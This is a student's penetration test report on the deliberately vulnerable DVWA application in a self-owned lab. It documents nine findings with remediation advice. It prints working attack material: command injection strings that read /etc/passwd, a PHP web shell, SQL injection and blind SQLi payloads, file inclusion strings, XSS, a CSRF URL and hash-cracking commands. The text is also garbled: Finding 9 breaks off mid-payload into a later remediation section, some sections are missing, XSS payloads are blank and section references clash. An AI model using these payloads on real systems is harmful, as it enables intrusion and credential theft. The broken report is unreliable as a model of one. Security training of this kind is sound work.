

# PENETRATION TESTING REPORT

DVWA (Damn Vulnerable Web Application)

**Target: DVWA v1.9 (localhost)**

**Assessment Type: Full Black-Box Web Application Penetration Test**

**Date: October 2026**

**Author: Muhammad Muhsin Khamis**

**Affiliation: Cybersecurity Student — Bayero University Kano**

Report Reference: DVWA-PT-2026-01

Classification: Educational / Internal

OVERALL RISK RATING

**CRITICAL**

# Contents

|    |                       |    |
|----|-----------------------|----|
| 01 | Executive Summary     | 3  |
| 02 | Scope and Methodology | 5  |
| 03 | Findings              | 7  |
| 04 | Risk Rating Summary   | 23 |
| 05 | Recommendations       | 25 |
| 06 | Conclusion            | 28 |
| 07 | Appendices            | 30 |



# Executive Summary

## Overview

A full black-box web application penetration test was conducted against DVWA (Damn Vulnerable Web Application) — a deliberately vulnerable PHP/MySQL application hosted in an isolated lab environment.

The purpose of this assessment was to identify, exploit, and document vulnerabilities in a realistic web application scenario. The lab serves as a controlled environment to practice professional penetration testing methodology, from reconnaissance through exploitation, reporting, and remediation.

## Assessment Summary

The assessment identified 9 distinct vulnerabilities, ranging from informational to critical severity. Together, these vulnerabilities allow a complete compromise of the application — including full database access, remote code execution, and account takeover.

Overall Risk Rating: CRITICAL

## Key Findings

The most severe findings are:

1. SQL Injection (Critical) — Full database access, including all usernames and password hashes. All 5 password hashes were cracked within 30 seconds using common wordlists.
2. Command Injection (Critical) — Arbitrary operating system command execution, leading to complete server compromise.
3. File Upload (Critical) — Malicious PHP scripts can be uploaded and executed, providing remote code execution.
4. File Inclusion (High) — Arbitrary files on the server can be read, including system files and application source code.
5. XSS Stored (High) — Persistent JavaScript injection affecting every visitor to the guestbook page.

The full list of findings is detailed in Section 4 of this report.

## Attack Chain

The vulnerabilities compound when chained together. A realistic attack path was demonstrated:

1. Reconnaissance
2. Information Disclosure (headers, outdated software)
3. SQL Injection → Database extraction
4. Password Cracking → Full authentication bypass
5. File Upload → Remote code execution
6. Command Injection → Server compromise

## 7. File Inclusion → Source code extraction

### Business Impact

If this application were a real system handling real data, the impact would include:

- Confidentiality breach: All user data, credentials, and application data accessible to attackers
- Data integrity loss: Data can be modified or deleted
- Service disruption: The server can be taken offline
- Regulatory impact: GDPR, HIPAA, POPIA, and similar regulations would apply
- Reputation damage: Public trust loss after disclosure
- Financial cost: Incident response, notification, and legal costs

### Recommendation Summary

Immediate remediation is required across all layers:

- Application layer: Use prepared statements, sanitise input, encode output
- Authentication layer: Strong hashing, rate limiting, session hardening
- File handling: Whitelist extensions, store outside webroot
- Server layer: Update Apache, PHP, and all dependencies
- Monitoring: Log suspicious activity and alert on attack patterns

A detailed remediation plan is provided in Section 6.

### Conclusion

This assessment demonstrated that DVWA is vulnerable to the entire OWASP Top 10 class of attacks. The lab environment allowed full exploitation of every module without restrictions.

The lessons from this assessment apply directly to real-world applications. Every vulnerability exploited here has been the cause of major breaches in production environments.

The purpose of this report is educational: to understand how these attacks work so defenders can recognise and prevent them.

# Scope and Methodology

## Scope

| Target          | DVWA v1.9 (Damn Vulnerable Web Application)                   |
|-----------------|---------------------------------------------------------------|
| Environment     | Self-hosted in Kali Linux via Docker (citizenstig/dvwa image) |
| URL             | http://localhost                                              |
| Assessment Type | Black-box web application penetration test                    |
| Testing Scope   | All DVWA vulnerability modules                                |
| Out of Scope    | Underlying Docker host, host OS, network infrastructure       |
| Authorization   | Self-owned lab environment — full authorization               |

## Methodology

The assessment followed a standard penetration testing methodology aligned with OWASP Testing Guide v4 and PTES (Penetration Testing Execution Standard).

### Phases

1. Reconnaissance — Identify services and technology stack
2. Enumeration — Discover endpoints, parameters, and inputs
3. Vulnerability Discovery — Identify weaknesses per OWASP Top 10
4. Exploitation — Confirm each vulnerability with proof of concept
5. Post-Exploitation — Extract data, escalate, chain findings
6. Reporting — Document findings with evidence
7. Remediation — Apply and verify fixes
8. Re-Test — Confirm vulnerability closure

### Tools Used

| Docker          | Lab deployment                       |
|-----------------|--------------------------------------|
| Nmap            | Port scanning and service detection  |
| WhatWeb         | Web technology fingerprinting        |
| Nikto           | Web server misconfiguration scanning |
| Gobuster        | Directory and file enumeration       |
| Firefox         | Manual application testing           |
| curl            | HTTP request analysis                |
| John the Ripper | Password hash cracking               |

| rockyou.txt  | Dictionary wordlist |
|--------------|---------------------|
| CrackStation | Online hash lookup  |
| Hashes.com   | Online hash lookup  |

### Testing Constraints

- Only the DVWA application was tested. The Docker host was not attacked.
- Testing was limited to vulnerabilities listed in DVWA's own modules plus any additional findings discovered during reconnaissance.
- No denial-of-service attacks were performed.
- No social engineering was attempted.

### Difficulty Level

DVWA was tested at security level = Low for all vulnerability modules.

This level provides no protection, allowing vulnerabilities to be exploited directly. Higher levels (Medium, High, Impossible) were tested in the remediation phase.

# Findings

## Summary Table

| Rank | Findings                                  | Severity | Score |
|------|-------------------------------------------|----------|-------|
| 1    | Brute Force — No rate limiting            | High     | 7.5   |
| 2    | Command Injection — OS command execution  | Critical | 9.8   |
| 3    | CSRF — Password change via GET            | High     | 7.1   |
| 4    | File Inclusion — Arbitrary file read      | High     | 8.6   |
| 5    | File Upload — Unrestricted PHP upload     | Critical | 9.8   |
| 6    | SQL Injection — Database extraction       | Critical | 9.8   |
| 7    | SQL Injection (Blind) — Boolean inference | High     | 7.5   |
| 8    | XSS (Reflected) — JavaScript injection    | Medium   | 6.1   |
| 9    | XSS (Stored) — Persistent JavaScript      | High     | 8.2   |

# Finding 1 — Brute Force

Severity: High

CVSS Score: 7.5

Location: /vulnerabilities/brute/

## Description

The login form has no rate limiting, account lockout, or CAPTCHA. An attacker can attempt unlimited passwords until one succeeds.

## Evidence

- Manual password guessing succeeded
- Password for admin recovered: password

## Impact

- An attacker can attempt infinite passwords
- Weak passwords fall in seconds
- No detection mechanism exists

## Recommendation

- Implement rate limiting (5 attempts per minute)
- Lock accounts after N failed attempts
- Add CAPTCHA after 2-3 failures
- Log failed attempts and alert on patterns

# Finding 2 — Command Injection

Severity: Critical

CVSS Score: 9.8

Location: /vulnerabilities/exec/

## Description

The IP address field passes user input directly to the operating system shell. An attacker can run any command on the server.

## Evidence

- Payload: 127.0.0.1; whoami
- Result: www-data — web server user revealed
- Additional commands: `ls -la`, `cat /etc/passwd`, `uname -a`

## Impact

- Complete OS command execution
- Full server compromise
- Read/modify any file
- Install malware
- Pivot to internal networks

## Recommendation

- Never pass user input to OS commands
- Use whitelisted input (regex for IP addresses)
- Use parameterised APIs instead of shell
- Run the web server as an unprivileged user

# Finding 3 — CSRF (Cross-Site Request Forgery)

Severity: High

CVSS Score: 7.1

Location: /vulnerabilities/csrf/

## Description

The password change endpoint accepts GET requests with no CSRF token.

The password changes just by visiting a URL.

## Evidence

- Exploit URL: [http://localhost/vulnerabilities/csrf/?password\\_new=HACKED123&password\\_conf=HACKED123&Change=Change](http://localhost/vulnerabilities/csrf/?password_new=HACKED123&password_conf=HACKED123&Change=Change)
- When visited by a logged-in user, the password silently changes

## Impact

- Account takeover via link click
- Password change without consent
- Any state-changing action can be triggered

## Recommendation

- Implement CSRF tokens on all state-changing forms
- Require old password for password changes
- Use POST instead of GET for state-changing actions
- Set SameSite=Strict on session cookies

# Finding 4 — File Inclusion

Severity: High

CVSS Score: 8.6

Location: /vulnerabilities/fi/

## Description

The page parameter includes files without path validation. An attacker can read arbitrary files on the server.

## Evidence

- Payload: `?page=/etc/passwd` — read system users file
- Payload: `?page=php://filter/convert.base64-encode/resource=index.php` — source code leak (base64 decoded successfully)

## Impact

- Read any file on the server
- Extract source code (reveals logic and further vulnerabilities)
- Read configuration files (potential credential leaks)
- Possible remote code execution

## Recommendation

- Never pass user input to `include()`/`require()`
- Use a whitelist of allowed pages
- Reject input containing `../`, `php://`, `file://`, `http://`
- Store sensitive files outside the webroot
- Disable `allow_url_include` in `php.ini`

# Finding 5 — File Upload

Severity: Critical

CVSS Score: 9.8

Location: /vulnerabilities/upload/

## Description

The file upload feature accepts any file type without validation. PHP scripts can be uploaded and executed.

## Evidence

- Uploaded shell.php:

```
<?php system($_GET['cmd']); ?>
- Accessed at `/hackable/uploads/shell.php?cmd=whoami`
- Result: `www-data`
```

### ### Impact

- Remote code execution
- Full server compromise
- Persistent web shell

### ### Recommendation

- Whitelist allowed extensions (jpg, png, pdf)
- Validate MIME type and file content
- Rename uploaded files
- Store uploads outside the webroot
- Disable PHP execution in upload directories

---

## ## Finding 6 – SQL Injection

**Severity:** Critical

**CVSS Score:** 9.8

**Location:** /vulnerabilities/sqli/

### ### Description

The `id` parameter is inserted directly into a SQL query. An attacker can extract, modify, or delete any data in the database.

### ### Evidence

- Payload: `1` OR `1`='1' – dumped all users
- Payload: `1` UNION SELECT user, password FROM users-- -` – extracted all usernames and MD5 password hashes

### ### Extracted Data

| Username | MD5 Hash                         | Cracked Password |
|----------|----------------------------------|------------------|
| admin    | 5f4dcc3b5aa765d61d8327deb882cf99 | password         |
| gordonb  | e99a18c428cb38d5f260853678922e03 | abc123           |
| 1337     | 8d3533d75ae2c3966d7e0d4fcc69216b | charley          |
| pablo    | 0d107d09f5bbe40cade3de5c71e9e9b7 | letmein          |
| smithy   | 5f4dcc3b5aa765d61d8327deb882cf99 | password         |

### ### Cracking Method

Hashes were cracked using:

- John the Ripper + rockyou.txt
- CrackStation (<https://crackstation.net/>)
- Hashes.com (<https://hashes.com/>)

All 5 hashes were cracked in under 30 seconds.

### ### Impact

- Full database read access
- Extraction of usernames and password hashes
- Complete authentication bypass
- Can modify or delete data

### ### Recommendation

- Use prepared statements / parameterised queries
- Never concatenate user input into SQL

```

- Use an ORM
- Apply input validation
- Use a database account with least privilege
- Disable verbose SQL errors

---

## Finding 7 – SQL Injection (Blind)

**Severity:** High
**CVSS Score:** 7.5
**Location:** /vulnerabilities/sqli_blind/

### Description
The `id` parameter is injectable, but query results are not displayed.
Data can be extracted by asking boolean (yes/no) questions.

### Evidence
- Confirm injection:
  - `1' AND '1'='1'#` → User ID exists (TRUE)
  - `1' AND '1'='2'#` → User ID is MISSING (FALSE)
- Length extraction:
  - `1' AND (SELECT LENGTH(password) FROM users WHERE user='admin')>7#` → exists
  - `1' AND (SELECT LENGTH(password) FROM users WHERE user='admin')>8#` → missing
- Character extraction:
  - `1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5'#` → exists

### Note on Comment Syntax
The `--` comment style failed in this environment. The `#` comment
worked reliably. This is a common finding in URL-based MySQL injection.

### Impact
- Same data extraction as standard SQL injection
- Slower (requires many requests)
- Fully exploitable with automation (sqlmap)

### Recommendation
Same as Finding 6:
- Prepared statements
- Input validation
- Rate limiting on queries

---

## Finding 8 – XSS (Reflected)

**Severity:** Medium
**CVSS Score:** 6.1
**Location:** /vulnerabilities/xss_r/

### Description
The `name` parameter reflects user input without encoding. JavaScript
runs in the victim's browser.

### Evidence
- Payload: `` → alert box fires
- Payload: `` → cookie theft works

### Impact
- Session hijacking (cookie theft)
- Account takeover
- Phishing within the trusted domain
- Malware delivery

### Severity Justification
Medium because the victim must click a crafted link. Severity would be
High for administrative users.

### Recommendation
- Encode all user output (HTML entity encoding)
- Use Content Security Policy (CSP) headers
- Mark cookies as HttpOnly
- Sanitise input server-side

---

## Finding 9 – XSS (Stored)

**Severity:** High

```

```

**CVSS Score:** 8.2
**Location:** /vulnerabilities/xss_s/

### Description
The Guestbook stores user input and displays it without encoding. JavaScript
executes for every visitor to the page.

### Evidence
- Payload: `

```

- Apply input validation (whitelist acceptable characters)
- Remove verbose SQL error output in production

#### ### Command Injection (Finding 2)

- Never pass user input to OS commands
- Use language-native APIs instead of shell
- Whitelist input (regex for IP addresses)
- Run the web server as an unprivileged user

#### ### File Upload (Finding 5)

- Whitelist allowed file extensions (jpg, png, pdf only)
- Validate MIME type and file signatures
- Rename files to prevent execution
- Store uploads outside the webroot
- Disable PHP execution in upload directories

#### ## Priority 2 – High (Fix This Week)

##### ### File Inclusion (Finding 4)

- Whitelist allowed page names
- Reject input containing ../, php://, file://, http://
- Store sensitive files outside the webroot
- Disable allow\_url\_include in php.ini

##### ### CSRF (Finding 3)

- Add CSRF tokens to all state-changing forms
- Require re-authentication for sensitive actions
- Set SameSite=Strict on session cookies
- Use POST instead of GET for state changes

##### ### XSS Stored (Finding 9)

- HTML-encode all output
- Sanitise user-generated content on storage
- Implement Content Security Policy (CSP)
- Mark cookies as HttpOnly

##### ### Brute Force (Finding 1)

- Implement rate limiting (5 attempts per minute)
- Lock accounts after failed attempts
- Add CAPTCHA after 2-3 failures
- Log and alert on failed login patterns

#### ## Priority 3 – Medium (Fix This Month)

##### ### XSS Reflected (Finding 8)

- HTML-encode all output
- Use CSP headers
- Sanitise input server-side

##### ### Information Disclosure (Reconnaissance)

- Remove `X-Powered-By` header (`expose\_php = Off`)
- Update Apache (2.4.7 → current version)
- Update PHP (5.5.9 → current version)
- Add security headers:
  - X-Frame-Options: DENY
  - X-Content-Type-Options: nosniff
  - Strict-Transport-Security
  - Referrer-Policy
  - Content-Security-Policy
- Remove .git directory from webroot
- Disable directory indexing
- Remove php.ini from webroot
- Restrict access to /config/ and /docs/

#### ## General Recommendations

##### ### Application Security

- Follow OWASP Top 10 and ASVS guidelines
- Conduct regular security testing
- Use security-focused code review
- Apply least-privilege database accounts

##### ### Password Security

- Replace MD5 with bcrypt, scrypt, or Argon2
- Enforce minimum length (12+ characters)
- Check passwords against known-breach lists
- Implement password managers for users

##### ### Monitoring and Detection

- Log all authentication attempts
- Alert on SQLi/injection patterns
- Monitor file uploads
- Track unusual user behavior
- Set up a SIEM for centralized logging

### ### Infrastructure

- Keep all software updated
- Use a WAF to detect known patterns
- Enable HTTPS everywhere
- Segment networks (web server, database, admin)

---

## # Conclusion

### ## Summary

This assessment demonstrated that DVWA is vulnerable to the full spectrum of OWASP Top 10 attacks. Nine distinct vulnerabilities were identified and exploited, ranging from informational to critical severity.

### ## Key Lessons

#### ### 1. Vulnerabilities Compound

The SQL injection vulnerability alone is critical. But combined with weak password hashing and weak user passwords, it becomes catastrophic – full database compromise with cracked credentials.

#### ### 2. Multiple Layers of Defense Are Essential

No single fix would have prevented this assessment. Effective security requires:

- Secure code (prepared statements, input validation)
- Secure configuration (headers, updates)
- Secure operations (monitoring, alerting)
- Secure design (least privilege, defense in depth)

#### ### 3. Offensive Skills Inform Defensive Practice

Understanding how these attacks work is essential for defenders. The same techniques used here to break in are used to test systems and verify protections.

#### ### 4. Documentation Matters

A vulnerability not documented is a vulnerability not fixed. Clear, structured reporting is as important as the technical exploitation itself.

### ## Real-World Relevance

Every vulnerability demonstrated in this lab has been the cause of major breaches in production environments:

- SQL injection has breached Yahoo, Sony, TalkTalk
- Command injection has breached countless IoT devices
- File upload bypass has enabled major data exfiltration
- XSS has compromised Twitter and Facebook accounts
- CSRF has enabled financial fraud

**\*\*Understanding these attacks is the first step to preventing them.\*\***

### ## Final Assessment

**\*\*Overall Risk: CRITICAL\*\***

Immediate remediation is required across all areas. With the recommendations in Section 6 implemented, the application can be brought to a defensible security posture.

The purpose of this report is educational. The techniques documented here should only be used in authorised environments with explicit written permission.

---

## # Appendices

### ## Appendix A – Command Reference

### Reconnaissance

nmap -sV localhost

whatweb http://localhost

nikto -h http://localhost

gobuster dir -u http://localhost -w /usr/share/wordlists/dirb/common.txt

## Exploitation

# Command Injection

127.0.0.1; whoami

127.0.0.1; cat /etc/passwd

# File Inclusion

?page=/etc/passwd

?page=php://filter/convert.base64-encode/resource=index.php

# SQL Injection

1' OR '1'='1

1' UNION SELECT user, password FROM users-- -

# Blind SQL Injection

1' AND '1'='1'#

1' AND (SELECT LENGTH(password) FROM users WHERE user='admin')>7#

# XSS

<script>alert('XSS')</script>

<img src=x onerror=alert('XSS')>

### Cracking

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

john --show --format=raw-md5 hashes.txt

## Appendix B — Tools Inventory

| Docker          | Latest | Container deployment      |
|-----------------|--------|---------------------------|
| Nmap            | 7.99   | Port scanning             |
| WhatWeb         | Latest | Technology fingerprinting |
| Nikto           | 2.6.0  | Web server scanning       |
| Gobuster        | 3.8.2  | Directory enumeration     |
| Firefox         | Latest | Manual testing            |
| John the Ripper | Latest | Hash cracking             |
| rockyou.txt     | N/A    | Wordlist                  |

## Appendix C — CVSS Reference

| 9.0-10.0 | Critical |
|----------|----------|
| 7.0-8.9  | High     |
| 4.0-6.9  | Medium   |
| 0.1-3.9  | Low      |
| 0.0      | None     |

## Appendix D — OWASP Top 10 Coverage

| OWASP Category                 | Findings                           |
|--------------------------------|------------------------------------|
| A01: Broken Access Control     | File Inclusion                     |
| A02: Cryptographic Failures    | Weak MD5 hashing                   |
| A03: Injection                 | SQL Injection, Command Injection   |
| A04: Insecure Design           | Brute Force, CSRF                  |
| A05: Security Misconfiguration | Missing headers, directory listing |
| A06: Vulnerable Components     | Outdated Apache/PHP                |
| A07: Authentication Failures   | Brute Force, Weak passwords        |
| A08: Data Integrity Failures   | CSRF                               |
| A09: Logging Failures          | No rate limiting, no monitoring    |
| A10: SSRF                      | (Not tested in this module set)    |

## Appendix E — Glossary

| XSS   | Cross-Site Scripting                  |
|-------|---------------------------------------|
| CSRF  | Cross-Site Request Forgery            |
| SQLi  | SQL Injection                         |
| RCE   | Remote Code Execution                 |
| CVSS  | Common Vulnerability Scoring System   |
| OWASP | Open Web Application Security Project |
| WAF   | Web Application Firewall              |
| CVE   | Common Vulnerabilities and Exposures  |
| MD5   | Message Digest 5 (hashing algorithm)  |

## Appendix F — Disclaimer

This penetration test was conducted against DVWA (Damn Vulnerable Web Application) — a deliberately vulnerable application hosted in an isolated personal lab environment.

No real systems were targeted. No unauthorised access occurred.

All techniques documented in this report are provided for educational purposes. Using these techniques against systems you do not own or have explicit written authorisation to test is illegal in most countries.